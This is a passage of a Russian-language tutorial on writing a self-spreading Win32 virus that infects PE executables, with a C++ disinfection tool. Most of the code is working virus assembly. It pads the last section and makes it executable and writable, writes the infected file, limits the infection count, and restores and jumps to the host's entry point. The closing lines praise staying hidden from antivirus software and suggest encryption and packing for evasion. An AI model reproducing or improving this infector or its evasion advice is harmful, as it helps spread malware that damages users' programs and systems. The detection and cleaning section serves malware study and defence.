ObjectAlign. Смещение относительно начала PE-заголовка равно 38h.
Размер – 4 байта (DWORD). Указывает выравнивающий фактор программных
секций. Должно быть степенью 2 между 512 и 256 М включительно. При
использовании других значений программа не загрузится.
FileAlign. Смещение относительно начала PE-заголовка равно 3Ch.
Размер – 4 байта. Фактор, используемый для выравнивания секций в
программном файле. В байтовом значении указывает на границу, на которую
секции дополняются 0 при размещении в файле. Большое значение приводит
к нерациональному использованию дискового пространства, маленькое
увеличивает компактность, но и снижает скорость загрузки. Должен быть
степенью 2 в диапазоне от 512 до 64 К включительно. Прочие значения
вызовут ошибку загрузки файла.
Мы должны знать, что PhysicalSize выравнивается по значению FileAlign, а VirtualSize – по
ObjectAlign.
; Выравниваем физический размер секции _AlgnPhSz: add edi, [edi + 3Ch] ; edi = VA of PE header add [esi + 10h], dword ptr Virsize ; Увеличим физический размер секции mov eax, [edi + 3Ch] ; Берем выравнивающий фактор ; FileAlign dec eax add [esi + 10h], eax not eax and [esi + 10h], eax
; Выравниваем виртуальный размер _AlgnVrSz: mov ecx, [esi + 08h] ; Берем виртуальный размер jecxz _PtchImSz ; Прыгаем, если размер = 0 add [esi + 08h], dword ptr Virsize ; Увеличим виртуальный размер секции mov eax, [edi + 38h] ; Берем выравнивающий фактор ; ObjectAlign shl eax, 1 ; Увеличиваем в 2 раза (для запаса ; памяти) dec eax add [esi + 08h], eax not eax and [esi + 08h], eax
В PE-заголовке также есть еще одно поле размером 4 байта, которое
проверяется загрузчиком – ImageSize. Его смещение относительно начала
заголовка – 50h. Это виртуальный размер в байтах всего загружаемого
образа, вместе с заголовками, кратен ObjectAlign. Пропатчим его:
При попытке что-то записать в секцию, в которую нельзя записывать,
программа упадет с сообщением об ошибке. Поэтому при добавлении кода в
последнюю секцию мы предполагаем, что этот код будет выполняться. А
значит, секция должна иметь права на чтение, выполнение. Ну и запись
тоже не помешает. Такими правами заправляет поле ObjectFlags в
дескрипторе секции. Вот некоторые битовые флаги, которые характеризуют
секцию:
00000020h - Секция содержит программный код;
00000040h - Секция содержит инициализированные данные;
00000080h - Секция содержит неинициализированные данные;
20000000h - Секция является исполняемой (см. флаг 00000020h);
40000000h - Секция только для чтения;
80000000h - Секция может использоваться для записи и чтения.
Нам нужно установить флаги 00000020h + 20000000h + 80000000h:
; Изменяем флаги, характеризующие секцию _ObjFlags: mov eax, [esi + 24h] .IF !(eax & 00000020h) ; Секция содержит программный код or eax, 00000020h .ENDIF .IF !(eax & 20000000h) ; Секция является исполняемой or eax, 20000000h .ENDIF .IF !(eax & 80000000h) ; Секция может использоваться для ; записи и чтения or eax, 80000000h .ENDIF mov [esi + 24h], eax
И, наконец, завершительный этап – запись обновленного содержимого
файла новой жертвы, восстанавливаем первые 5 байт текущей жертвы
(которая тоже заражает другие файлы – новые жертвы) и передаем ей
управление:
_WriteFile: xor esi, esi push esi push esi push esi push hFile call SetFilePointer
xor esi, esi push esi push esp push dwAlignedFileSize push pAllocMem push hFile call WriteFile test eax, eax ; Не удалось записать код в программу jz _CloseFile
; Освобождаем стек pop eax pop eax pop eax pop eax
; Проверим, сколько файлов уже заразили lea esi, infect_count add esi, delta_off cmp byte ptr [esi], MaxVictimNumber ; Если меньше MaxVictimNumber, то ; продолжаем. Иначе - выходим jl _FindNextFileA
; ищем начало заражаемого файла по сигнатуре на текущей странице памяти mov eax, OFFSET begin_data add eax, delta_off xor ax, ax _SearchMZPE_: mov edi, [eax + 3Ch] .IF word ptr [eax] != 5A4Dh || word ptr [eax + edi] != 4550h sub eax, 10000h jmp _SearchMZPE_ .ENDIF
; Вычисляем EntryPoint VA mov edi, eax ; edi = VA of MZ header add edi, dword ptr [edi + 3Ch] ; edi = VA of PE header mov eax, dword ptr [edi + 28h] ; eax = RVA of EntryPoint add eax, dword ptr [edi + 34h] ; eax = VA of EntryPoint
pusha push esp ; адрес переменной, в нее возвращается "старый" режим доступа push 40h ; режим доступа (нам нужен 40h) push 5h ; размер области памяти в байтах push eax ; адрес области памяти, чьи атрибуты страниц нужно изменить call VirtualProtect popa
; Восстанавливаем 5 байт начала программы-носителя mov ecx, 5h lea esi, save_vir_b add esi, delta_off ; esi = VA of save_vir_b mov edi, eax ; edi = VA of EntryPoint rep movsb
; Прыгаем на код носителя jmp eax
ExitVirus: push 0 call _ExitProcess
После заражения нашего calc.exe еще раз посмотрим в его нутро HIEW’ом:
Здесь я обвел скорректированные нашим вирусом поля в PE-заголовке
калькулятора и в дескрипторе последней секции. Также можно сравнить
первые 5 байт точки входа до заражения и после:
Видим, что наш вирус изменил эти 5 байт на команду прыжка.
Обезвреживание вируса
Теперь задумаемся, а как нам найти зараженные нашим вирусом файлы и
обезвредить их, если мы хорошо знаем структуру вируса? Знаем, куда он
сохраняет 5 байт точки входа, куда дописывается. Перед нами встала
задача удалить тело вируса из зараженной программы, не нарушив ее
работоспособность. Желательно бы еще, чтобы наш вирус больше не трогал
эту программу после того, как ее вылечили, т.е. она приобрела бы
иммунитет против нашего вируса.
Вот такая получилась программа:
Ссылки на исходники и бинарники этой программы находятся в конце
статьи. А я только вычерпну наиболее интересные участки кода
программы-доктора.
Наша программа ищет все файлы с расширением EXE в указанной
директории (включая вложенные директории), отсеивает файлы не
PE-формата. Если найден PE-файл, наш «антивирус» анализирует заголовки
этого файла и подсчитывает контрольную сумму некоторых байт в конце
программы. Затем сравнивает эту сумму с той, что прописана для нашего
вируса и выдает результат - заражен файл, вылечен ранее или не заражен.
Для первой версии нашего вируса (т.е. для той, которую мы написали
выше) мы должны определить его размер и смещение сохраненных байт точки
входа относительно конца файла, чтобы можно было вылечить зараженную
жертву. Размер определим, откомпилировав наш вирус и посмотрев
каким-нибудь HEX-редактором за конец таблицы HashTable. Помните, что мы
там оставили якобы «бессмысленные» DWORD’ы? Теперь они нам пригодились,
чтобы было легче считать. Сейчас размер вирусного кода равен 06BAh =
1722 байта. Смещение сохраненных 5 байт точки входа жертвы относительно
конца файла равно 0ADCh = 2780 байт.
Для подсчета контрольной суммы я решил использовать алгоритм CRC32.
Контрольную сумму будем считать, не затрагивая изменяющиеся части кода
вируса (глобальные переменные, массивы), т.к. если мы их будем
учитывать в подсчете CRC, контрольная сумма при проверке совпадать не
будет из-за динамических частей и наш «антивирус» скажет, что файл
вылечен.
Будем считать сумму от метки start до метки begin_data, и от метки
HashTable до end_data. Для этого нам нужно узнать, по какому смещению
от start находятся метки begin_data и HashTable. Метка end_data
находится по смещению Virsize. Для этого используем все те же
бессмысленные DWORD’ы:
// Функция подсчитывает контрольную сумму некоторых последних // байт файла программы и сравнивает с контрольной суммой нашего вируса. // Если суммы равны, возвращается TRUE. Иначе - FALSE. BOOLEAN ContainsVirusCode(HANDLE hFile, DWORD dwSectionAlignment) { DWORD dwSavePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT); DWORD crc = 0xFFFFFFFF;
if (SetFilePointer(hFile, -(LONG)dwSectionAlignment, NULL, FILE_END) != INVALID_SET_FILE_POINTER) { DWORD dwRead; BYTE *tempBuffer = new BYTE[dwSectionAlignment];
// Проверяем наличие заражения if (!ContainsVirusCode(hFile, optHeader->SectionAlignment)) { bError = FALSE; if (optHeader->Win32VersionValue == 0x10041986) { throw "Файл вылечен ранее (есть иммунитет)"; } else { throw "Вирус отсутствует"; } } bError = TRUE; bInfected = TRUE; dwInfectedCount++;
// Сохраняем текущий указатель файла. // Он будет указывать на дескриптор первой секции DWORD dwFirstSectionFilePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT);
// Сохраняем текущий указатель файла. // Он будет указывать на дескриптор последней секции DWORD dwLastSectionFilePointer = dwFirstSectionFilePointer;
// Перебираем все последующие дескрипторы секций в поиске последней секции for (WORD i = 1; i < fileHeader.NumberOfSections; i++) { IMAGE_SECTION_HEADER currSectionHeader;
// Считываем очередной дескриптор if (!ReadFile(hFile, &currSectionHeader, IMAGE_SIZEOF_SECTION_HEADER, &dwRead, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка чтения"; }
// Если виртуальный размер не больше выровненного размера вируса, // мы рискуем испортить виртуальный размер, сделав его равным нулю. // В этом случае лучше оставить описатель последней секции без // изменений. Просто обнулим тело вируса, не уменьшая размера самой жертвы if (lastSectionHeaderVA.Misc.VirtualSize > GetAligned(VIRUS_SIZE, optHeader->SectionAlignment)) { // Восстанавливаем дескриптор последней секции SetFilePointer(hFile, dwLastSectionFilePointer, NULL, FILE_BEGIN); lastSectionHeaderVA.SizeOfRawData -= GetAligned(VIRUS_SIZE, optHeader->FileAlignment); lastSectionHeaderVA.Misc.VirtualSize -= GetAligned(VIRUS_SIZE, optHeader->SectionAlignment); if (!WriteFile(hFile, &lastSectionHeaderVA, IMAGE_SIZEOF_SECTION_HEADER, &dwWritten, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка записи"; }
Как видим, алгоритм у нас такой же, как и при заражении: находим
дескриптор последней секции, фиксим размеры секции (виртуальный и
физический), пересчитываем поле ImageBase в PE-заголовке. Затем
восстанавливаем байты точки входа и затираем вирус. При последнем
действе может возникнуть проблема: а что, если размер жертвы до
заражения был меньше выровненного размера вируса? Тогда при фиксе
дескриптора последней секции мы отнимем из размера секции такой же
выровненный размер нашего вируса. В итоге размер секции станет равным
нулю, что совсем недопустимо. Поэтому, в таком случае мы просто
обнуляем тело вируса, а размер секции не изменяем.
Здесь при удалении вируса мы оставляем метку заражения в резервном
поле PE-заголовка, чтобы при повторной попытке заражения вирус
пропустил данный файл, т.к. он не будет заражать файл с данной меткой.
Таким образом, мы формируем иммунитет вылеченной жертвы к вирусу.
Антивирусы
Ради интереса я проверил зараженный калькулятор 6-м касперским на
наличие вируса. Касперский промолчал, ничего не заметив (даже с
включенной проактивной защитой). Dr. Web я не пробовал. А вот NOD32
немедленно заметил неизвестный Win32-вирус и заблокировал всяческий
доступ к зараженному файлу. Исследование вопроса о том, как
замаскироваться от антивируса, я оставляю читателю.
Заключение
Вот мы и написали простую самораспространяющуюся программу, а также
попытались вылечить зараженный ею файл. Данный код можно еще много
совершенствовать и оптимизировать. Он является скорее учебным, чем
боевым. Например, можно поиграться с оверлеями, с
самораспаковывающимися архивами (и подобными программами), с
шифрованием кода вируса. Можно упаковать какую-то часть кода, чтобы
поместить в освободившееся место тело вируса. А при выполнении
распаковывать. Ну и тому подобное. Самое главное – остаться
незамеченным. И если даже не извращаться над кодом вируса, то хотя бы
сделать его работоспособным для всех условий, чтобы пользователь не
обнаружил, что какая-нибудь его программа внезапно упала при запуске
из-за вируса. Возникнет сразу много подозрений и лишних вопросов. А нам
это не надо. Мы лучше будем тихо без шелеста делать свое дело.